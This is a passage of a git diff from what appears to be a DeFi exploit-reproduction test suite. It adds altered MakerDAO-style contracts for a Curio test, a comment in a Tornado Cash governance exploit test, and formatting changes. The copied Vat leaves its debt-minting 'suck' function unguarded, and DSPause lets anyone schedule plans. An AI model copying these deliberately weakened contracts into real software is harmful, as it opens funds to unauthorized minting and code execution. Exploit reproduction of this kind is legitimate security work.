+// roles.sol - roled based authentication
+
+// Copyright (C) 2017 DappHub, LLC
+
+// This program is free software: you can redistribute it and/or modify
+// it under the terms of the GNU General Public License as published by
+// the Free Software Foundation, either version 3 of the License, or
+// (at your option) any later version.
+
+// This program is distributed in the hope that it will be useful,
+// but WITHOUT ANY WARRANTY; without even the implied warranty of
+// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
+// GNU General Public License for more details.
+
+// You should have received a copy of the GNU General Public License
+// along with this program. If not, see .
+
+pragma solidity >=0.8.23;
+
+import "./auth.sol";
+
+contract DSRoles is DSAuth, DSAuthority {
+ mapping(address => bool) _root_users;
+ mapping(address => bytes32) _user_roles;
+ mapping(address => mapping(bytes4 => bytes32)) _capability_roles;
+ mapping(address => mapping(bytes4 => bool)) _public_capabilities;
+
+ function getUserRoles(address who) public view returns (bytes32) {
+ return _user_roles[who];
+ }
+
+ function getCapabilityRoles(address code, bytes4 sig) public view returns (bytes32) {
+ return _capability_roles[code][sig];
+ }
+
+ function isUserRoot(address who) public view virtual returns (bool) {
+ return _root_users[who];
+ }
+
+ function isCapabilityPublic(address code, bytes4 sig) public view returns (bool) {
+ return _public_capabilities[code][sig];
+ }
+
+ function hasUserRole(address who, uint8 role) public view returns (bool) {
+ bytes32 roles = getUserRoles(who);
+ bytes32 shifted = bytes32(uint256(uint256(2) ** uint256(role)));
+ return bytes32(0) != roles & shifted;
+ }
+
+ function canCall(address caller, address code, bytes4 sig) public view returns (bool) {
+ if (isUserRoot(caller) || isCapabilityPublic(code, sig)) {
+ return true;
+ } else {
+ bytes32 has_roles = getUserRoles(caller);
+ bytes32 needs_one_of = getCapabilityRoles(code, sig);
+ return bytes32(0) != has_roles & needs_one_of;
+ }
+ }
+
+ function BITNOT(bytes32 input) internal pure returns (bytes32 output) {
+ return (input ^ bytes32(type(uint256).max));
+ }
+
+ function setRootUser(address who, bool enabled) public virtual auth {
+ _root_users[who] = enabled;
+ }
+
+ function setUserRole(address who, uint8 role, bool enabled) public auth {
+ bytes32 last_roles = _user_roles[who];
+ bytes32 shifted = bytes32(uint256(uint256(2) ** uint256(role)));
+ if (enabled) {
+ _user_roles[who] = last_roles | shifted;
+ } else {
+ _user_roles[who] = last_roles & BITNOT(shifted);
+ }
+ }
+
+ function setPublicCapability(address code, bytes4 sig, bool enabled) public auth {
+ _public_capabilities[code][sig] = enabled;
+ }
+
+ function setRoleCapability(uint8 role, address code, bytes4 sig, bool enabled) public auth {
+ bytes32 last_roles = _capability_roles[code][sig];
+ bytes32 shifted = bytes32(uint256(uint256(2) ** uint256(role)));
+ if (enabled) {
+ _capability_roles[code][sig] = last_roles | shifted;
+ } else {
+ _capability_roles[code][sig] = last_roles & BITNOT(shifted);
+ }
+ }
+}
diff --git a/test/Access_Control/Curio/ds-contracts/Chief/thing.sol b/test/Access_Control/Curio/ds-contracts/Chief/thing.sol
new file mode 100644
index 0000000..22290c2
--- /dev/null
+++ b/test/Access_Control/Curio/ds-contracts/Chief/thing.sol
@@ -0,0 +1,28 @@
+// thing.sol - `auth` with handy mixins. your things should be DSThings
+
+// Copyright (C) 2017 DappHub, LLC
+
+// This program is free software: you can redistribute it and/or modify
+// it under the terms of the GNU General Public License as published by
+// the Free Software Foundation, either version 3 of the License, or
+// (at your option) any later version.
+
+// This program is distributed in the hope that it will be useful,
+// but WITHOUT ANY WARRANTY; without even the implied warranty of
+// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
+// GNU General Public License for more details.
+
+// You should have received a copy of the GNU General Public License
+// along with this program. If not, see .
+
+pragma solidity >=0.8.23;
+
+import "./auth.sol";
+import "./note.sol";
+import "./math.sol";
+
+contract DSThing is DSAuth, DSNote, DSMath {
+ function S(string memory s) internal pure returns (bytes4) {
+ return bytes4(keccak256(abi.encodePacked(s)));
+ }
+}
diff --git a/test/Access_Control/Curio/ds-contracts/Chief/token.sol b/test/Access_Control/Curio/ds-contracts/Chief/token.sol
new file mode 100644
index 0000000..9003f9b
--- /dev/null
+++ b/test/Access_Control/Curio/ds-contracts/Chief/token.sol
@@ -0,0 +1,130 @@
+/// token.sol -- ERC20 implementation with minting and burning
+
+// Copyright (C) 2015, 2016, 2017 DappHub, LLC
+
+// This program is free software: you can redistribute it and/or modify
+// it under the terms of the GNU General Public License as published by
+// the Free Software Foundation, either version 3 of the License, or
+// (at your option) any later version.
+
+// This program is distributed in the hope that it will be useful,
+// but WITHOUT ANY WARRANTY; without even the implied warranty of
+// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
+// GNU General Public License for more details.
+
+// You should have received a copy of the GNU General Public License
+// along with this program. If not, see .
+
+pragma solidity >=0.8.23;
+
+import "./math.sol";
+import "./auth.sol";
+
+contract DSToken is DSMath, DSAuth {
+ bool public stopped;
+ uint256 public totalSupply;
+ mapping(address => uint256) public balanceOf;
+ mapping(address => mapping(address => uint256)) public allowance;
+ string public symbol;
+ uint8 public decimals = 18; // standard token precision. override to customize
+ string public name = ""; // Optional token name
+
+ constructor(string memory symbol_) public {
+ symbol = symbol_;
+ }
+
+ event Approval(address indexed src, address indexed guy, uint256 wad);
+ event Transfer(address indexed src, address indexed dst, uint256 wad);
+ event Mint(address indexed guy, uint256 wad);
+ event Burn(address indexed guy, uint256 wad);
+ event Stop();
+ event Start();
+
+ modifier stoppable() {
+ require(!stopped, "ds-stop-is-stopped");
+ _;
+ }
+
+ function approve(address guy) external returns (bool) {
+ return approve(guy, type(uint256).max);
+ }
+
+ function approve(address guy, uint256 wad) public stoppable returns (bool) {
+ allowance[msg.sender][guy] = wad;
+
+ emit Approval(msg.sender, guy, wad);
+
+ return true;
+ }
+
+ function transfer(address dst, uint256 wad) external returns (bool) {
+ return transferFrom(msg.sender, dst, wad);
+ }
+
+ function transferFrom(address src, address dst, uint256 wad) public stoppable returns (bool) {
+ if (src != msg.sender && allowance[src][msg.sender] != type(uint256).max) {
+ require(allowance[src][msg.sender] >= wad, "ds-token-insufficient-approval");
+ allowance[src][msg.sender] = sub(allowance[src][msg.sender], wad);
+ }
+
+ require(balanceOf[src] >= wad, "ds-token-insufficient-balance");
+ balanceOf[src] = sub(balanceOf[src], wad);
+ balanceOf[dst] = add(balanceOf[dst], wad);
+
+ emit Transfer(src, dst, wad);
+
+ return true;
+ }
+
+ function push(address dst, uint256 wad) external {
+ transferFrom(msg.sender, dst, wad);
+ }
+
+ function pull(address src, uint256 wad) external {
+ transferFrom(src, msg.sender, wad);
+ }
+
+ function move(address src, address dst, uint256 wad) external {
+ transferFrom(src, dst, wad);
+ }
+
+ function mint(uint256 wad) external {
+ mint(msg.sender, wad);
+ }
+
+ function burn(uint256 wad) external {
+ burn(msg.sender, wad);
+ }
+
+ function mint(address guy, uint256 wad) public auth stoppable {
+ balanceOf[guy] = add(balanceOf[guy], wad);
+ totalSupply = add(totalSupply, wad);
+ emit Mint(guy, wad);
+ }
+
+ function burn(address guy, uint256 wad) public auth stoppable {
+ if (guy != msg.sender && allowance[guy][msg.sender] != type(uint256).max) {
+ require(allowance[guy][msg.sender] >= wad, "ds-token-insufficient-approval");
+ allowance[guy][msg.sender] = sub(allowance[guy][msg.sender], wad);
+ }
+
+ require(balanceOf[guy] >= wad, "ds-token-insufficient-balance");
+ balanceOf[guy] = sub(balanceOf[guy], wad);
+ totalSupply = sub(totalSupply, wad);
+ emit Burn(guy, wad);
+ }
+
+ function stop() public auth {
+ stopped = true;
+ emit Stop();
+ }
+
+ function start() public auth {
+ stopped = false;
+ emit Start();
+ }
+
+ function setName(string memory name_) public auth {
+ name = name_;
+ }
+}
diff --git a/test/Access_Control/Curio/ds-contracts/join.sol b/test/Access_Control/Curio/ds-contracts/join.sol
new file mode 100644
index 0000000..028a682
--- /dev/null
+++ b/test/Access_Control/Curio/ds-contracts/join.sol
@@ -0,0 +1,189 @@
+// SPDX-License-Identifier: AGPL-3.0-or-later
+
+/// join.sol -- Basic token adapters
+
+// Copyright (C) 2018 Rain
+//
+// This program is free software: you can redistribute it and/or modify
+// it under the terms of the GNU Affero General Public License as published by
+// the Free Software Foundation, either version 3 of the License, or
+// (at your option) any later version.
+//
+// This program is distributed in the hope that it will be useful,
+// but WITHOUT ANY WARRANTY; without even the implied warranty of
+// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
+// GNU Affero General Public License for more details.
+//
+// You should have received a copy of the GNU Affero General Public License
+// along with this program. If not, see .
+
+pragma solidity ^0.8.12;
+
+// FIXME: This contract was altered compared to the production version.
+// It doesn't use LibNote anymore.
+// New deployments of this contract will need to include custom events (TO DO).
+
+interface GemLike {
+ function decimals() external view returns (uint256);
+ function transfer(address, uint256) external returns (bool);
+ function transferFrom(address, address, uint256) external returns (bool);
+}
+
+interface DSTokenLike {
+ function mint(address, uint256) external;
+ function burn(address, uint256) external;
+}
+
+interface VatLike {
+ function slip(bytes32, address, int256) external;
+ function move(address, address, uint256) external;
+}
+
+/*
+ Here we provide *adapters* to connect the Vat to arbitrary external
+ token implementations, creating a bounded context for the Vat. The
+ adapters here are provided as working examples:
+
+ - `GemJoin`: For well behaved ERC20 tokens, with simple transfer
+ semantics.
+
+ - `ETHJoin`: For native Ether.
+
+ - `DaiJoin`: For connecting internal Dai balances to an external
+ `DSToken` implementation.
+
+ In practice, adapter implementations will be varied and specific to
+ individual collateral types, accounting for different transfer
+ semantics and token standards.
+
+ Adapters need to implement two basic methods:
+
+ - `join`: enter collateral into the system
+ - `exit`: remove collateral from the system
+
+*/
+
+contract GemJoin {
+ // --- Auth ---
+ mapping(address => uint256) public wards;
+
+ function rely(address usr) external auth {
+ wards[usr] = 1;
+ emit Rely(usr);
+ }
+
+ function deny(address usr) external auth {
+ wards[usr] = 0;
+ emit Deny(usr);
+ }
+
+ modifier auth() {
+ require(wards[msg.sender] == 1, "GemJoin/not-authorized");
+ _;
+ }
+
+ VatLike public vat; // CDP Engine
+ bytes32 public ilk; // Collateral Type
+ GemLike public gem;
+ uint256 public dec;
+ uint256 public live; // Active Flag
+
+ // Events
+ event Rely(address indexed usr);
+ event Deny(address indexed usr);
+ event Join(address indexed usr, uint256 wad);
+ event Exit(address indexed usr, uint256 wad);
+ event Cage();
+
+ constructor(address vat_, bytes32 ilk_, address gem_) public {
+ wards[msg.sender] = 1;
+ live = 1;
+ vat = VatLike(vat_);
+ ilk = ilk_;
+ gem = GemLike(gem_);
+ dec = gem.decimals();
+ emit Rely(msg.sender);
+ }
+
+ function cage() external auth {
+ live = 0;
+ emit Cage();
+ }
+
+ function join(address usr, uint256 wad) external {
+ require(live == 1, "GemJoin/not-live");
+ require(int256(wad) >= 0, "GemJoin/overflow");
+ vat.slip(ilk, usr, int256(wad));
+ require(gem.transferFrom(msg.sender, address(this), wad), "GemJoin/failed-transfer");
+ emit Join(usr, wad);
+ }
+
+ function exit(address usr, uint256 wad) external {
+ require(wad <= 2 ** 255, "GemJoin/overflow");
+ vat.slip(ilk, msg.sender, -int256(wad));
+ require(gem.transfer(usr, wad), "GemJoin/failed-transfer");
+ emit Exit(usr, wad);
+ }
+}
+
+contract DaiJoin {
+ // --- Auth ---
+ mapping(address => uint256) public wards;
+
+ function rely(address usr) external auth {
+ wards[usr] = 1;
+ emit Rely(usr);
+ }
+
+ function deny(address usr) external auth {
+ wards[usr] = 0;
+ emit Deny(usr);
+ }
+
+ modifier auth() {
+ require(wards[msg.sender] == 1, "DaiJoin/not-authorized");
+ _;
+ }
+
+ VatLike public vat; // CDP Engine
+ DSTokenLike public dai; // Stablecoin Token
+ uint256 public live; // Active Flag
+
+ // Events
+ event Rely(address indexed usr);
+ event Deny(address indexed usr);
+ event Join(address indexed usr, uint256 wad);
+ event Exit(address indexed usr, uint256 wad);
+ event Cage();
+
+ constructor(address vat_, address dai_) public {
+ wards[msg.sender] = 1;
+ live = 1;
+ vat = VatLike(vat_);
+ dai = DSTokenLike(dai_);
+ }
+
+ function cage() external auth {
+ live = 0;
+ emit Cage();
+ }
+
+ uint256 constant ONE = 10 ** 27;
+
+ function mul(uint256 x, uint256 y) internal pure returns (uint256 z) {
+ require(y == 0 || (z = x * y) / y == x);
+ }
+
+ function join(address usr, uint256 wad) external {
+ vat.move(address(this), usr, mul(ONE, wad));
+ dai.burn(msg.sender, wad);
+ emit Join(usr, wad);
+ }
+
+ function exit(address usr, uint256 wad) external {
+ require(live == 1, "DaiJoin/not-live");
+ vat.move(msg.sender, address(this), mul(ONE, wad));
+ dai.mint(usr, wad);
+ emit Exit(usr, wad);
+ }
+}
diff --git a/test/Access_Control/Curio/ds-contracts/pause.sol b/test/Access_Control/Curio/ds-contracts/pause.sol
new file mode 100644
index 0000000..2480429
--- /dev/null
+++ b/test/Access_Control/Curio/ds-contracts/pause.sol
@@ -0,0 +1,60 @@
+pragma solidity ^0.8.24;
+
+contract DSPause {
+ uint256 public delay;
+ DSPauseProxy public proxy;
+ mapping(bytes32 => bool) public plans;
+
+ constructor(uint256 delay_, address owner_, address authority_) public {
+ delay = delay_;
+ proxy = new DSPauseProxy();
+ }
+
+ function hash(address usr, bytes32 tag, bytes memory fax, uint256 eta) internal pure returns (bytes32) {
+ return keccak256(abi.encode(usr, tag, fax, eta));
+ }
+
+ function plot(address usr, bytes32 tag, bytes memory fax, uint256 eta) public {
+ require(eta >= block.timestamp + delay, "ds-pause-delay-not-respected");
+ plans[hash(usr, tag, fax, eta)] = true;
+ }
+
+ function exec(address usr, bytes32 tag, bytes memory fax, uint256 eta)
+ public
+ returns (bytes memory out)
+ {
+ require(plans[hash(usr, tag, fax, eta)], "ds-pause-unplotted-plan");
+ require(soul(usr) == tag, "ds-pause-wrong-codehash");
+ require(block.timestamp >= eta, "ds-pause-premature-exec");
+
+ plans[hash(usr, tag, fax, eta)] = false;
+
+ out = proxy.exec(usr, fax);
+ require(proxy.owner() == address(this), "ds-pause-illegal-storage-change");
+ }
+
+ function soul(address usr) internal view returns (bytes32 tag) {
+ assembly {
+ tag := extcodehash(usr)
+ }
+ }
+}
+
+contract DSPauseProxy {
+ address public owner;
+
+ modifier auth() {
+ require(msg.sender == owner, "ds-pause-proxy-unauthorized");
+ _;
+ }
+
+ constructor() public {
+ owner = msg.sender;
+ }
+
+ function exec(address usr, bytes memory fax) public auth returns (bytes memory out) {
+ bool ok;
+ (ok, out) = usr.delegatecall(fax);
+ require(ok, "ds-pause-delegatecall-error");
+ }
+}
diff --git a/test/Access_Control/Curio/ds-contracts/vat.sol b/test/Access_Control/Curio/ds-contracts/vat.sol
new file mode 100644
index 0000000..1add652
--- /dev/null
+++ b/test/Access_Control/Curio/ds-contracts/vat.sol
@@ -0,0 +1,283 @@
+// SPDX-License-Identifier: AGPL-3.0-or-later
+
+/// vat.sol -- Dai CDP database
+
+// Copyright (C) 2018 Rain
+//
+// This program is free software: you can redistribute it and/or modify
+// it under the terms of the GNU Affero General Public License as published by
+// the Free Software Foundation, either version 3 of the License, or
+// (at your option) any later version.
+//
+// This program is distributed in the hope that it will be useful,
+// but WITHOUT ANY WARRANTY; without even the implied warranty of
+// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
+// GNU Affero General Public License for more details.
+//
+// You should have received a copy of the GNU Affero General Public License
+// along with this program. If not, see .
+
+pragma solidity ^0.8.12;
+
+// FIXME: This contract was altered compared to the production version.
+// It doesn't use LibNote anymore.
+// New deployments of this contract will need to include custom events (TO DO).
+
+contract Vat {
+ // --- Auth ---
+ mapping(address => uint256) public wards;
+
+ function rely(address usr) external auth {
+ require(live == 1, "Vat/not-live");
+ wards[usr] = 1;
+ }
+
+ function deny(address usr) external auth {
+ require(live == 1, "Vat/not-live");
+ wards[usr] = 0;
+ }
+
+ modifier auth() {
+ require(wards[msg.sender] == 1, "Vat/not-authorized");
+ _;
+ }
+
+ mapping(address => mapping(address => uint256)) public can;
+
+ function hope(address usr) external {
+ can[msg.sender][usr] = 1;
+ }
+
+ function nope(address usr) external {
+ can[msg.sender][usr] = 0;
+ }
+
+ function wish(address bit, address usr) internal view returns (bool) {
+ return either(bit == usr, can[bit][usr] == 1);
+ }
+
+ // --- Data ---
+ struct Ilk {
+ uint256 Art; // Total Normalised Debt [wad]
+ uint256 rate; // Accumulated Rates [ray]
+ uint256 spot; // Price with Safety Margin [ray]
+ uint256 line; // Debt Ceiling [rad]
+ uint256 dust; // Urn Debt Floor [rad]
+ }
+
+ struct Urn {
+ uint256 ink; // Locked Collateral [wad]
+ uint256 art; // Normalised Debt [wad]
+ }
+
+ mapping(bytes32 => Ilk) public ilks;
+ mapping(bytes32 => mapping(address => Urn)) public urns;
+ mapping(bytes32 => mapping(address => uint256)) public gem; // [wad]
+ mapping(address => uint256) public dai; // [rad]
+ mapping(address => uint256) public sin; // [rad]
+
+ uint256 public debt; // Total Dai Issued [rad]
+ uint256 public vice; // Total Unbacked Dai [rad]
+ uint256 public Line; // Total Debt Ceiling [rad]
+ uint256 public live; // Active Flag
+
+ // --- Init ---
+ constructor() public {
+ wards[msg.sender] = 1;
+ live = 1;
+ }
+
+ // --- Math ---
+ function _add(uint256 x, int256 y) internal pure returns (uint256 z) {
+ z = x + uint256(y);
+ require(y >= 0 || z <= x);
+ require(y <= 0 || z >= x);
+ }
+
+ function _sub(uint256 x, int256 y) internal pure returns (uint256 z) {
+ z = x - uint256(y);
+ require(y <= 0 || z <= x);
+ require(y >= 0 || z >= x);
+ }
+
+ function _mul(uint256 x, int256 y) internal pure returns (int256 z) {
+ z = int256(x) * y;
+ require(int256(x) >= 0);
+ require(y == 0 || z / y == int256(x));
+ }
+
+ function _add(uint256 x, uint256 y) internal pure returns (uint256 z) {
+ require((z = x + y) >= x);
+ }
+
+ function _sub(uint256 x, uint256 y) internal pure returns (uint256 z) {
+ require((z = x - y) <= x);
+ }
+
+ function _mul(uint256 x, uint256 y) internal pure returns (uint256 z) {
+ require(y == 0 || (z = x * y) / y == x);
+ }
+
+ // --- Administration ---
+ function init(bytes32 ilk) external auth {
+ require(ilks[ilk].rate == 0, "Vat/ilk-already-init");
+ ilks[ilk].rate = 10 ** 27;
+ }
+
+ function file(bytes32 what, uint256 data) external auth {
+ require(live == 1, "Vat/not-live");
+ if (what == "Line") Line = data;
+ else revert("Vat/file-unrecognized-param");
+ }
+
+ function file(bytes32 ilk, bytes32 what, uint256 data) external auth {
+ require(live == 1, "Vat/not-live");
+ if (what == "spot") ilks[ilk].spot = data;
+ else if (what == "line") ilks[ilk].line = data;
+ else if (what == "dust") ilks[ilk].dust = data;
+ else revert("Vat/file-unrecognized-param");
+ }
+
+ function cage() external auth {
+ live = 0;
+ }
+
+ // --- Fungibility ---
+ function slip(bytes32 ilk, address usr, int256 wad) external auth {
+ gem[ilk][usr] = _add(gem[ilk][usr], wad);
+ }
+
+ function flux(bytes32 ilk, address src, address dst, uint256 wad) external {
+ require(wish(src, msg.sender), "Vat/not-allowed");
+ gem[ilk][src] = _sub(gem[ilk][src], wad);
+ gem[ilk][dst] = _add(gem[ilk][dst], wad);
+ }
+
+ function move(address src, address dst, uint256 rad) external {
+ require(wish(src, msg.sender), "Vat/not-allowed");
+ dai[src] = _sub(dai[src], rad);
+ dai[dst] = _add(dai[dst], rad);
+ }
+
+ function either(bool x, bool y) internal pure returns (bool z) {
+ assembly {
+ z := or(x, y)
+ }
+ }
+
+ function both(bool x, bool y) internal pure returns (bool z) {
+ assembly {
+ z := and(x, y)
+ }
+ }
+
+ // --- CDP Manipulation ---
+ function frob(bytes32 i, address u, address v, address w, int256 dink, int256 dart) external {
+ // system is live
+ require(live == 1, "Vat/not-live");
+
+ Urn memory urn = urns[i][u];
+ Ilk memory ilk = ilks[i];
+ // ilk has been initialised
+ require(ilk.rate != 0, "Vat/ilk-not-init");
+
+ urn.ink = _add(urn.ink, dink);
+ urn.art = _add(urn.art, dart);
+ ilk.Art = _add(ilk.Art, dart);
+
+ int256 dtab = _mul(ilk.rate, dart);
+ uint256 tab = _mul(ilk.rate, urn.art);
+ debt = _add(debt, dtab);
+
+ // either debt has decreased, or debt ceilings are not exceeded
+ require(
+ either(dart <= 0, both(_mul(ilk.Art, ilk.rate) <= ilk.line, debt <= Line)), "Vat/ceiling-exceeded"
+ );
+ // urn is either less risky than before, or it is safe
+ require(either(both(dart <= 0, dink >= 0), tab <= _mul(urn.ink, ilk.spot)), "Vat/not-safe");
+
+ // urn is either more safe, or the owner consents
+ require(either(both(dart <= 0, dink >= 0), wish(u, msg.sender)), "Vat/not-allowed-u");
+ // collateral src consents
+ require(either(dink <= 0, wish(v, msg.sender)), "Vat/not-allowed-v");
+ // debt dst consents
+ require(either(dart >= 0, wish(w, msg.sender)), "Vat/not-allowed-w");
+
+ // urn has no debt, or a non-dusty amount
+ require(either(urn.art == 0, tab >= ilk.dust), "Vat/dust");
+
+ gem[i][v] = _sub(gem[i][v], dink);
+ dai[w] = _add(dai[w], dtab);
+
+ urns[i][u] = urn;
+ ilks[i] = ilk;
+ }
+ // --- CDP Fungibility ---
+
+ function fork(bytes32 ilk, address src, address dst, int256 dink, int256 dart) external {
+ Urn storage u = urns[ilk][src];
+ Urn storage v = urns[ilk][dst];
+ Ilk storage i = ilks[ilk];
+
+ u.ink = _sub(u.ink, dink);
+ u.art = _sub(u.art, dart);
+ v.ink = _add(v.ink, dink);
+ v.art = _add(v.art, dart);
+
+ uint256 utab = _mul(u.art, i.rate);
+ uint256 vtab = _mul(v.art, i.rate);
+
+ // both sides consent
+ require(both(wish(src, msg.sender), wish(dst, msg.sender)), "Vat/not-allowed");
+
+ // both sides safe
+ require(utab <= _mul(u.ink, i.spot), "Vat/not-safe-src");
+ require(vtab <= _mul(v.ink, i.spot), "Vat/not-safe-dst");
+
+ // both sides non-dusty
+ require(either(utab >= i.dust, u.art == 0), "Vat/dust-src");
+ require(either(vtab >= i.dust, v.art == 0), "Vat/dust-dst");
+ }
+ // --- CDP Confiscation ---
+
+ function grab(bytes32 i, address u, address v, address w, int256 dink, int256 dart) external auth {
+ Urn storage urn = urns[i][u];
+ Ilk storage ilk = ilks[i];
+
+ urn.ink = _add(urn.ink, dink);
+ urn.art = _add(urn.art, dart);
+ ilk.Art = _add(ilk.Art, dart);
+
+ int256 dtab = _mul(ilk.rate, dart);
+
+ gem[i][v] = _sub(gem[i][v], dink);
+ sin[w] = _sub(sin[w], dtab);
+ vice = _sub(vice, dtab);
+ }
+
+ // --- Settlement ---
+ function heal(uint256 rad) external {
+ address u = msg.sender;
+ sin[u] = _sub(sin[u], rad);
+ dai[u] = _sub(dai[u], rad);
+ vice = _sub(vice, rad);
+ debt = _sub(debt, rad);
+ }
+
+ function suck(address u, address v, uint256 rad) external {
+ sin[u] = _add(sin[u], rad);
+ dai[v] = _add(dai[v], rad);
+ vice = _add(vice, rad);
+ debt = _add(debt, rad);
+ }
+
+ // --- Rates ---
+ function fold(bytes32 i, address u, int256 rate) external auth {
+ require(live == 1, "Vat/not-live");
+ Ilk storage ilk = ilks[i];
+ ilk.rate = _add(ilk.rate, rate);
+ int256 rad = _mul(ilk.Art, rate);
+ dai[u] = _add(dai[u], rad);
+ debt = _add(debt, rad);
+ }
+}
diff --git a/test/Business_Logic/TornadoCash_Governance/TornadoCash_Governance.sol b/test/Business_Logic/TornadoCash_Governance/TornadoCash_Governance.sol
index 80a8704..e672c21 100644
--- a/test/Business_Logic/TornadoCash_Governance/TornadoCash_Governance.sol
+++ b/test/Business_Logic/TornadoCash_Governance/TornadoCash_Governance.sol
@@ -239,4 +239,23 @@ contract Exploit_TornadoCashGovernance is TestHarness, TokenBalanceTracker {
updateBalanceTracker(ATTACKER1);
updateBalanceTracker(ATTACKER2);
}
+
+ // New cheatcode created by @joaquinlpereyra @Coinspect merged in foundry at
+ // https://github.com/foundry-rs/foundry/pull/5033
+
+ // destroys an account inmediatly, sending the balance to beneficiary
+ // destroying means: balance will be zero, code will be empty, nonce will be zero
+ // similar to selfdestruct but not identical: selfdestruct destroys code and nonce
+ // only after tx ends, this will run inmediatly
+
+ // This function was added to Foundry, so instead of overriding we will comment it
+ // function destroyAccount(address who, address beneficiary) internal virtual {
+ // uint256 currBalance = who.balance;
+ // vm.etch(who, abi.encode());
+ // vm.deal(who, 0);
+ // vm.resetNonce(who);
+
+ // uint256 beneficiaryBalance = beneficiary.balance;
+ // vm.deal(beneficiary, currBalance + beneficiaryBalance);
+ // }
}
diff --git a/test/TestHarness.sol b/test/TestHarness.sol
index 7ffefc4..c2a40bf 100644
--- a/test/TestHarness.sol
+++ b/test/TestHarness.sol
@@ -1,5 +1,5 @@
// SPDX-License-Identifier: MIT
-pragma solidity ^0.8.17;
+pragma solidity >=0.8.0;
import "forge-std/Test.sol";
import "forge-std/Vm.sol";
diff --git a/test/interfaces/00_CheatCodes.interface.sol b/test/interfaces/00_CheatCodes.interface.sol
index a5cab68..a4db907 100644
--- a/test/interfaces/00_CheatCodes.interface.sol
+++ b/test/interfaces/00_CheatCodes.interface.sol
@@ -1,6 +1,6 @@
// SPDX-License-Identifier: UNLICENSED
-pragma solidity 0.8.17;
+pragma solidity >=0.8.0;
interface CheatCodes {
// This allows us to getRecordedLogs()
@@ -31,9 +31,7 @@ interface CheatCodes {
function store(address account, bytes32 slot, bytes32 value) external;
// Signs data
- function sign(uint256 privateKey, bytes32 digest)
- external
- returns (uint8 v, bytes32 r, bytes32 s);
+ function sign(uint256 privateKey, bytes32 digest) external returns (uint8 v, bytes32 r, bytes32 s);
// Computes address for a given private key
function addr(uint256 privateKey) external returns (address);
@@ -68,35 +66,21 @@ interface CheatCodes {
function envBytes(string calldata) external returns (bytes memory);
// Read environment variables as arrays, (name, delim) => (value[])
- function envBool(string calldata, string calldata)
- external
- returns (bool[] memory);
- function envUint(string calldata, string calldata)
- external
- returns (uint256[] memory);
- function envInt(string calldata, string calldata)
- external
- returns (int256[] memory);
- function envAddress(string calldata, string calldata)
- external
- returns (address[] memory);
- function envBytes32(string calldata, string calldata)
- external
- returns (bytes32[] memory);
- function envString(string calldata, string calldata)
- external
- returns (string[] memory);
- function envBytes(string calldata, string calldata)
- external
- returns (bytes[] memory);
+ function envBool(string calldata, string calldata) external returns (bool[] memory);
+ function envUint(string calldata, string calldata) external returns (uint256[] memory);
+ function envInt(string calldata, string calldata) external returns (int256[] memory);
+ function envAddress(string calldata, string calldata) external returns (address[] memory);
+ function envBytes32(string calldata, string calldata) external returns (bytes32[] memory);
+ function envString(string calldata, string calldata) external returns (string[] memory);
+ function envBytes(string calldata, string calldata) external returns (bytes[] memory);
// Convert Solidity types to strings
- function toString(address) external returns(string memory);
- function toString(bytes calldata) external returns(string memory);
- function toString(bytes32) external returns(string memory);
- function toString(bool) external returns(string memory);
- function toString(uint256) external returns(string memory);
- function toString(int256) external returns(string memory);
+ function toString(address) external returns (string memory);
+ function toString(bytes calldata) external returns (string memory);
+ function toString(bytes32) external returns (string memory);
+ function toString(bool) external returns (string memory);
+ function toString(uint256) external returns (string memory);
+ function toString(int256) external returns (string memory);
// Sets the *next* call's msg.sender to be the input address
function prank(address) external;
@@ -132,9 +116,7 @@ interface CheatCodes {
// Gets all accessed reads and write slot from a recording session,
// for a given address
- function accesses(address)
- external
- returns (bytes32[] memory reads, bytes32[] memory writes);
+ function accesses(address) external returns (bytes32[] memory reads, bytes32[] memory writes);
// Record all the transaction logs
function recordLogs() external;
@@ -206,7 +188,8 @@ interface CheatCodes {
function projectRoot() external returns (string memory);
// Reads next line of file to string, (path) => (line)
function readLine(string calldata) external returns (string memory);
- // Writes data to file, creating a file if it does not exist, and entirely replacing its contents if it does.
+ // Writes data to file, creating a file if it does not exist, and entirely replacing its contents if it
+ // does.
// (path, data) => ()
function writeFile(string calldata, string calldata) external;
// Writes line to file, creating a file if it does not exist.
@@ -215,13 +198,14 @@ interface CheatCodes {
// Closes file for reading, resetting the offset and allowing to read it from beginning with readLine.
// (path) => ()
function closeFile(string calldata) external;
- // Removes file. This cheatcode will revert in the following situations, but is not limited to just these cases:
+ // Removes file. This cheatcode will revert in the following situations, but is not limited to just these
+ // cases:
// - Path points to a directory.
// - The file doesn't exist.
// - The user lacks permissions to remove the file.
// (path) => ()
function removeFile(string calldata) external;
-
+
// Return the value(s) that correspond to 'key'
function parseJson(string memory json, string memory key) external returns (bytes memory);
// Return the entire json file
@@ -245,9 +229,7 @@ interface CheatCodes {
// Creates _and_ also selects a new fork with the given endpoint and block,
// and returns the identifier of the fork
- function createSelectFork(string calldata, uint256)
- external
- returns (uint256);
+ function createSelectFork(string calldata, uint256) external returns (uint256);
// Creates _and_ also selects a new fork with the given endpoint and the
// latest block and returns the identifier of the fork
function createSelectFork(string calldata) external returns (uint256);
diff --git a/test/modules/TokenBalanceTracker.sol b/test/modules/TokenBalanceTracker.sol
index c935dd3..efaa968 100644
--- a/test/modules/TokenBalanceTracker.sol
+++ b/test/modules/TokenBalanceTracker.sol
@@ -1,9 +1,11 @@
// SPDX-License-Identifier: MIT
-pragma solidity ^0.8.17;
+pragma solidity >=0.8.0;
+
import "forge-std/Test.sol";
+
interface IERC20Local {
- function name() external view returns(string memory);
- function decimals() external view returns(uint8);
+ function name() external view returns (string memory);
+ function decimals() external view returns (uint8);
function balanceOf(address account) external view returns (uint256);
}
@@ -11,34 +13,34 @@ library Strings {
bytes16 private constant _SYMBOLS = "0123456789abcdef";
uint8 private constant _ADDRESS_LENGTH = 20;
- function log10(uint256 value) internal pure returns (uint256) {
+ function log10(uint256 value) internal pure returns (uint256) {
uint256 result = 0;
unchecked {
- if (value >= 10**64) {
- value /= 10**64;
+ if (value >= 10 ** 64) {
+ value /= 10 ** 64;
result += 64;
}
- if (value >= 10**32) {
- value /= 10**32;
+ if (value >= 10 ** 32) {
+ value /= 10 ** 32;
result += 32;
}
- if (value >= 10**16) {
